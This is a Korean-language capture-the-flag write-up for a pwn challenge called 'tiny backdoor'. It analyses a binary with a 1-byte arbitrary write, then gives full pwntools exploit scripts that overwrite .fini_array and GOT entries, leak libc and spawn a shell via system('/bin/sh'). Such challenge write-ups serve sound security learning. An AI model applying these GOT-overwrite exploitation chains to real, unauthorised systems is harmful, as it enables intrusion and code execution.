Post

[PWN] tiny backdoor Write-Up

[PWN] tiny backdoor Write-Up

보호기법

PIE와 RELRO는 꺼져있다.


코드 분석

main()

1
2
3
4
5
6
7
8
9
10
11
12
unsigned __int64 __fastcall main(int a1, char **a2, char **a3)
{
  char v3; // bl
  unsigned __int64 v5; // [rsp+8h] [rbp-10h]

  v5 = __readfsqword(0x28u);
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  v3 = sub_400727();
  *(_BYTE *)sub_400727() = v3;
  return __readfsqword(0x28u) ^ v5;
}

sub_400727()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__int64 sub_400727()
{
  __int64 v0; // rbp
  __int64 i; // rbx
  char v2; // al
  __int64 v3; // rax

  v0 = 1;
  for ( i = 0; ; i += v3 )
  {
    v2 = getchar();
    if ( v2 == 10 )
      break;
    v3 = v0 * (v2 - 48);
    v0 *= 10;
  }
  return i;
}

이 함수는 getchar()로 문자를 하나씩 받는다.

1
2
    v3 = v0 * (v2 - 48);
    v0 *= 10;

여기에서 첫 번째로 입력한 문자는 1의 자리에 들어가고 두 번째로 입력 문자는 10의 자리에 들어간다. 즉 입력한 숫자를 거꾸로 해석하는 코드이다.


다시 main으로 돌아와서 setbuf 이후부터 보면 sub_400727()을 호출해서 값을 입력받아 v3에 넣는다. 그 다음 다시 sub_400727()을 호출하여

1
*(_BYTE *)sub_400727() = v3;

를 하는데 이걸 쉽게 말하면 그냥 두 번째 입력값을 주소로 보고 그 주소에 첫 번째 입력 값의 하위 1바이트를 쓰는 코드이다.

1
*(char *)addr = value;

취약점 분석

위의 main 코드 분석과 같이 첫 번째 입력 값의 하위 1바이트를 두 번째 입력값의 주소로 쓸 수 있다. 따라서 1byte AAW가 발생한다.


익스플로잇

이제 이 1바이트 AAW를 이용하여 어떻게 셸까지 따냐인데 우선 main이 write를 한 번만 하고 종료하기 때문에 취약점을 이용하여 무한루프를 만들것이다.

main 무한루프 만들기

.fini_array

.fini_array는 프로그램이 종료될 때 호출되는 함수 포인터 배열이다.

이 바이너리의 .fini_array는 다음 주소에 있다. 프로그램 종료 시 이 배열에 들어 있는 함수 포인터들이 호출되므로 이 값을 조작하면 종료 흐름을 main 내부로 돌릴 수 있다.

두번째 엔트리 0x400590의 하위 1바이트를 0xf6으로 바꾸면 0x4005f6이 된다.

0x4005f6은 main에서 입력받기 전에 위치하기 때문에 프로그램이 종료되도 다시 입력할 수 있다.


__stack_chk_fail@GOT

하지만 0x4005f6으로 들어가면 main의 함수 프롤로그가 제대로 거쳐지지 않는다. 즉 정상적으로 stack canary가 저장된 상태가 아니다.

결과먹으로 0x400617 이후의 canary check에서 실패하고 __stack_chk_fail()이 호출된다.

하지만 이 바이너리는 RELRO가 없기 때문에 __stack_chk_fail의 GOT를 덮을 수 있다.

__stack_chk_fail@GOT의 주소는 0x600bc8이다.

따라서 처음에는 __stack_chk_fail의 GOT가 PLT 내부 주소(0x400556)를 가리키다가 하위 1바이트를 0xf6으로 바꾸게 되면 0x4005f6을 가리키고, 다음 흐름이 된다.

1
AAW -> canary check fail -> __stack_chk_fail@GOT -> 0x4005f6 -> ...

이렇게 무한반복하게 된다.


0x400604로 점프

현재 loop 시작점은 0x4005f6이다. 여기는 매번 setbuf(stdout, 0)을 호출한다. 나는 나중에 setbuf의 GOT를 활용할 예정이기 때문에 계속 0x4005f6에서 도는 것은 불편해서 바로 입력을 받는 위치인 0x400604로 루프를 바꾼다.

즉 .fini_array[0]이 호출되면 바로 write 루프로 들어간다.

현재 __stack_chk_fail@GOT는 0x4005f6이고 목표값은 0x400604이다. 따라서 하위 2바이트를 바꿔야한다.

그런데 1바이트씩 바꾸는 중간 상태가 이상한 주소가 되면 canary check에서 터져버리기 때문에 0x4005da를 활용할 것이다.

0x4005da로 점프하면 다음 코드에서 rsp + 8에 canary 값을 저장하기 때문에 write 이후 canary check를 정상적으로 통과할 수 있다.

그 상태에서 __stack_chk_fail@GOT의 하위바이트를 0x04로 하면 0x400504처럼 터질만한 주소가 되지만 0x4005da로 점프하여 canary를 새로 저장한다.

그리고 .fini_array[0]을 통해 0x400604로 진입한 뒤 두 번째 바이트를 고쳐 0x400604로 바꾼다.

따라서 setbuf를 건들지 않고 안정적인 루프를 돌 수 있다.


libc leak

이제 여러번 AAW를 사용할 수 있으므로 libc leak을 할 수 있다.

필요한 주소들은 다음과 같다.

1
2
3
4
__libc_start_main@GOT = 0x600b98
__stack_chk_fail@GOT = 0x600bc8
setbuf@GOT = 0x600bd0
stdout = 0x600c00

나는 0x4005f6의 setbuf(stdout, 0)을 puts 쪽으로 바꿔서 puts(stdout)으로 leak을 할 것이다.

이 바이너리에선 puts@plt로 점프하는 0x4005ce가 있기 때문에 이를 이용하여 setbuf의 GOT를 0x4005ce로 덮는다.

이제 setbuf@plt를 하면 실제로는 puts가 호출될 것이다.

근데 아까 루프를 0x400604로 바꿨지만 setbuf는 0x4005f6이다. 그래서 __stack_chk_fail@GOT를 다시 0x4005f6으로 바꾸고 싶은데 문제는 아까처럼 바꾸는 중간에 터질 수 있다.

이번엔 _start의 __libc_start_main@GOT를 활용한다.

현재 __stack_chk_fail@GOT가 0x400604인 상태에서 하위 1바이트만 바꾸면 0x400664로 바꿀 수 있다. 그 전에 __libc_start_main@GOT를 점프할 0x4005f6으로 바꿔놓는다.

그러면 canary check 이후 __libc_start_main@GOT로 뛰어 0x400664로 다시 뛰는 루프가 완성된다.

다시 leak으로 돌아와서 아까 puts로 덮었던 setbuf(stdout, 0)에서 puts(stdout)이 된다면 puts는 stdout 포인터가 가리키는 libc 내부 메모리를 문자열처럼 출력하려고 한다. 그냥 출력하면 원하는 형태로 나오지 않을 수 있기 때문에 stdout의 포인터의 하위 1바이트를 0x08로 조정하여 libc를 leak한다.

여기까지의 익스플로잇 코드는 다음과 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *

# context.log_level = 'debug'

p = process(['./ld-linux-x86-64.so.2', '--library-path', '.', './backdoor'])
# p = remote('host3.dreamhack.games', 11681)
libc = ELF('./libc.so.6')

def enc(x):
    return str(int(x)).encode()[::-1]

def write(val, addr):
    p.sendline(enc(val & 0xff))
    sleep(0.1)
    p.sendline(enc(addr))
    sleep(0.1)

def write_bytes(addr, value):
    for i in range(6):
        one_byte = (value >> (8 * i)) & 0xff
        write(one_byte, addr + i)

write(0xf6, 0x6009c0) # 0x400590 -> 0x4005f6
write(0xf6, 0x600bc8) # __stack_chk_fail@GOT -> 0x4005f6
write(4, 0x6009b8) # 0x4006f0 -> 0x400604
write(0xda, 0x600bc8) # __stack_chk_fail@GOT -> 0x4005da
# __stack_chk_fail@GOT -> 0x400604
write(4, 0x600bc8)
write(6, 0x600bc9) 

# setbuf@GOT -> 0x4005ce, jmp puts@plt
write(0xce, 0x600bd0)
write(0x05, 0x600bd1)
write(0x40, 0x600bd2)
write(0x00, 0x600bd3)
write(0x00, 0x600bd4)
write(0x00, 0x600bd5)

# __libc_start_main@GOT -> 0x4005f6
write(0xf6, 0x600b98)
write(0x05, 0x600b99)
write(0x40, 0x600b9a)
write(0x00, 0x600b9b)
write(0x00, 0x600b9c)
write(0x00, 0x600b9d)

# stdout 조정
write(0x08, 0x600c00)

# trigger
write(0x64, 0x600bc8)

leak = u64(p.recvn(6).ljust(8, b'\x00'))
print(f'leak = {hex(leak)}')
libc_base = leak - 0x3ed8b0
print(f'libc base = {hex(libc_base)}')

leak offset은 0x3ed8b0이고 libc base를 잘 구했다.


system(“/bin/sh”)

이제 최종적으로 system("/bin/sh");를 만들 것이다.

아까 사용했던 0x4005f6의 setbuf(stdout, 0); 에서 stdout(0x600c00)을 "/bin/sh", setbuf@GOT를 system으로 덮을 것이다.

주소를 6바이트씩 쓰기 위해 다음 함수를 사용했다.

1
2
3
4
def write_bytes(addr, value):
    for i in range(6):
        one_byte = (value >> (8 * i)) & 0xff
        write(one_byte, addr + i)

0x600c00에 binsh, 0x600bd0에 system을 넣고 다시 0x4005f6을 실행시킨 뒤 아까 트리거 했던대로 __stack_chk_fail@GOT를 0x400664로 바꾸면 된다.


exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *

# context.log_level = 'debug'

p = process(['./ld-linux-x86-64.so.2', '--library-path', '.', './backdoor'])
# p = remote('host3.dreamhack.games', 11681)
libc = ELF('./libc.so.6')

def enc(x):
    return str(int(x)).encode()[::-1]

def write(val, addr):
    p.sendline(enc(val & 0xff))
    sleep(0.1)
    p.sendline(enc(addr))
    sleep(0.1)

def write_bytes(addr, value):
    for i in range(6):
        one_byte = (value >> (8 * i)) & 0xff
        write(one_byte, addr + i)

write(0xf6, 0x6009c0) # 0x400590 -> 0x4005f6
write(0xf6, 0x600bc8) # __stack_chk_fail@GOT -> 0x4005f6
write(4, 0x6009b8) # 0x4006f0 -> 0x400604
write(0xda, 0x600bc8) # __stack_chk_fail@GOT -> 0x4005da
# __stack_chk_fail@GOT -> 0x400604
write(4, 0x600bc8)
write(6, 0x600bc9) 

# setbuf@GOT -> 0x4005ce, jmp puts@plt
write(0xce, 0x600bd0)
write(0x05, 0x600bd1)
write(0x40, 0x600bd2)
write(0x00, 0x600bd3)
write(0x00, 0x600bd4)
write(0x00, 0x600bd5)

# __libc_start_main@GOT -> 0x4005f6
write(0xf6, 0x600b98)
write(0x05, 0x600b99)
write(0x40, 0x600b9a)
write(0x00, 0x600b9b)
write(0x00, 0x600b9c)
write(0x00, 0x600b9d)

# stdout 조정
write(0x08, 0x600c00)

# trigger
write(0x64, 0x600bc8)

leak = u64(p.recvn(6).ljust(8, b'\x00'))
print(f'leak = {hex(leak)}')
libc_base = leak - 0x3ed8b0
print(f'libc base = {hex(libc_base)}')

# write loop 복귀
write(0x04, 0x600bc8)

system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))

write_bytes(0x600c00, binsh) # stdout -> binsh
write_bytes(0x600bd0, system) # setbuf@GOT -> system

#trigger
write(0x64, 0x600bc8)

p.interactive()


정리

No PIE, No RELRO 1바이트 AAW로 .fini_array와 GOT들을 덮어 main으로 돌아와서 __stack_chk_fail@GOT로 write 루프를 만들고 GOT overwrite로 libc leak -> GOT overwrite로 system("/bin/sh") -> 셸을 획득하는 문제였다.

뭔가 문제 풀면서 주소들이 의도한대로 딱딱 맞아떨어져서 기분은 좋았지만 너무 어려웠다ㅠㅠ 1바이트 AAW로 재밌게 풀었다

This post is licensed under CC BY 4.0 by the author.